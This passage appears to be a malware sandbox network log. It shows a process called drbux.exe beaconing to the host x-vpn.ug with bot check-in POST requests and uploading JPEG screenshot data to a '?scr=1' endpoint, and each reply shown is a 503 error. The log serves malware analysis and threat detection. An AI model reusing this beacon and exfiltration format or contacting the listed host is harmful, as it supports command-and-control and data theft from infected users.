Jul 19, 2021 18:37:02.789882898 CEST	22155	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:37:02.884530067 CEST	22169	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:37:02 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
352	192.168.2.6	50111	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:37:03.086930990 CEST	22193	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:37:03.184122086 CEST	22227	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:37:03 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
353	192.168.2.6	50112	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:37:03.168159962 CEST	22208	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ef973b17689de8f52c4b073e0df426bc Host: x-vpn.ug Content-Length: 96662 Cache-Control: no-cache
Jul 19, 2021 18:37:03.168318033 CEST	22208	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 65 66 39 37 33 62 31 37 36 38 39 64 65 38 66 35 32 63 34 62 30 37 33 65 30 64 66 34 32 36 62 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------ef973b17689de8f52c4b073e0df426bcContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:37:03.168574095 CEST	22218	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:37:03.168751001 CEST	22221	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:37:03.252072096 CEST	22227	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:37:03 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:37:03.252742052 CEST	22230	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:37:03.253103971 CEST	22233	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:37:03.253129005 CEST	22236	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:37:03.253341913 CEST	22238	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:37:03.254189014 CEST	22244	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:37:03.254407883 CEST	22248	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:37:03.255150080 CEST	22251	OUT	Data Raw: ac 91 b4 64 2e 20 5d b8 dc 31 d4 60 63 14 c8 bc 4f 68 91 9b 06 d1 ee 9b 49 5d 35 b4 f8 e2 fb 70 f3 c0 69 96 62 c6 53 11 53 f3 0c 00 10 00 0f e2 78 9b ad d3 fa df fe 01 d8 95 2e bf d6 ab fe 09 37 d8 f4 1b 2d 2c 5f 6a b6 1a d4 06 4d 4e 5b 23 08 b9 Data Ascii: d. ]1`cOhI]5pibSSx.7-,_jMN[#@%<\|1Zmc}enod&`R32\.I'kEh..{<^}A@".1.'885\|@/#_{{kiJu@_#^jV_Fd`u[+DRG;8l

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
354	192.168.2.6	50113	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:37:03.399607897 CEST	22304	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:37:03.497370958 CEST	22314	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:37:03 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:37:03.555567026 CEST	22315	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ef973b17689de8f52c4b073e0df426bc Host: x-vpn.ug Content-Length: 96662 Cache-Control: no-cache
Jul 19, 2021 18:37:03.555912971 CEST	22315	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 65 66 39 37 33 62 31 37 36 38 39 64 65 38 66 35 32 63 34 62 30 37 33 65 30 64 66 34 32 36 62 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------ef973b17689de8f52c4b073e0df426bcContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:37:03.556255102 CEST	22325	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:37:03.556404114 CEST	22328	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:37:03.656776905 CEST	22339	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:37:03.657115936 CEST	22342	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:37:03.657850027 CEST	22350	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:37:03.658118010 CEST	22353	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO
Jul 19, 2021 18:37:03.658585072 CEST	22356	OUT	Data Raw: 1a a2 47 8a 29 b9 a3 34 c4 3c 1a 5a 60 34 e0 69 a2 47 83 4e 07 34 c1 cd 38 55 22 58 fa 29 29 6a 89 1c 29 c0 d3 05 3a a9 12 d1 28 3c 53 f3 51 03 4e 06 ad 32 1a 24 06 9e 0d 44 0f 34 e5 ab 4c 86 89 81 a7 83 50 8a 7e 6a d3 33 68 93 34 03 4c cd 28 35 Data Ascii: G)4<Z`4iGN48U"X))j):(<SQN2$D4LP~j3h4L(5WS -"Gz(5D8"oZp&p=@QTA<.RHjpJ4cPt@}h.Qa=8OJ^foZU=G(Tdb+
Jul 19, 2021 18:37:03.658644915 CEST	22358	OUT	Data Raw: 12 c7 03 4e 14 cc d3 81 aa 25 8f a2 9b 45 51 23 c1 a7 83 51 83 4a 0d 3b 89 a2 4e f4 ea 60 a5 06 ad 10 3c 52 83 cd 34 1a 52 69 8a c4 80 d3 b3 9a 8f 75 28 35 48 96 87 e6 94 1a 6e 68 aa 26 c4 80 d3 b3 51 8a 75 34 c9 68 7e 69 d9 a8 f3 4a 0f bd 55 c9 Data Ascii: N%EQ#QJ;N`<R4Riu(5Hnh&Qu4h~iJU 4j i%\34g4L"Q)!E\"sPNKL374D584hIq@j4n\uAu"yKwN\J_2iY7Z+dSS;IHK
Jul 19, 2021 18:37:03.661499977 CEST	22359	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:37:03 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:37:03.754481077 CEST	22364	OUT	Data Raw: 80 15 7b c7 da bd bd ce a9 6f e1 ad 33 e4 d2 74 74 58 c2 03 c3 be 38 27 d7 8e 73 ea 4f a5 66 da c3 a7 5c e9 17 56 f7 88 c2 42 e8 d1 c8 8d b5 90 00 c0 e0 fe 23 8a e5 85 e7 2e 77 f2 3a 9d a1 1e 54 4b ac 99 bc 50 d0 7f 68 cf 21 48 73 b1 23 c2 ae 4f Data Ascii: {o3ttX8'sOf\VB#.w:TKPh!Hs#Or9xEy iHmyup[]6g /v&]FdhFibOlpN,DgG M>rzvjkI\|W3lQrT:\wZ``(UJN<r(

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
355	192.168.2.6	50114	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:37:03.694528103 CEST	22359	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:37:03.774554968 CEST	22414	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:37:03 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
356	192.168.2.6	50115	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:37:03.979976892 CEST	22419	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:37:04.079082012 CEST	22434	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:37:04 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
357	192.168.2.6	50116	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:37:04.063863039 CEST	22421	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ef973b17689de8f52c4b073e0df426bc Host: x-vpn.ug Content-Length: 96662 Cache-Control: no-cache
Jul 19, 2021 18:37:04.064388990 CEST	22421	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 65 66 39 37 33 62 31 37 36 38 39 64 65 38 66 35 32 63 34 62 30 37 33 65 30 64 66 34 32 36 62 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------ef973b17689de8f52c4b073e0df426bcContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:37:04.064611912 CEST	22431	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
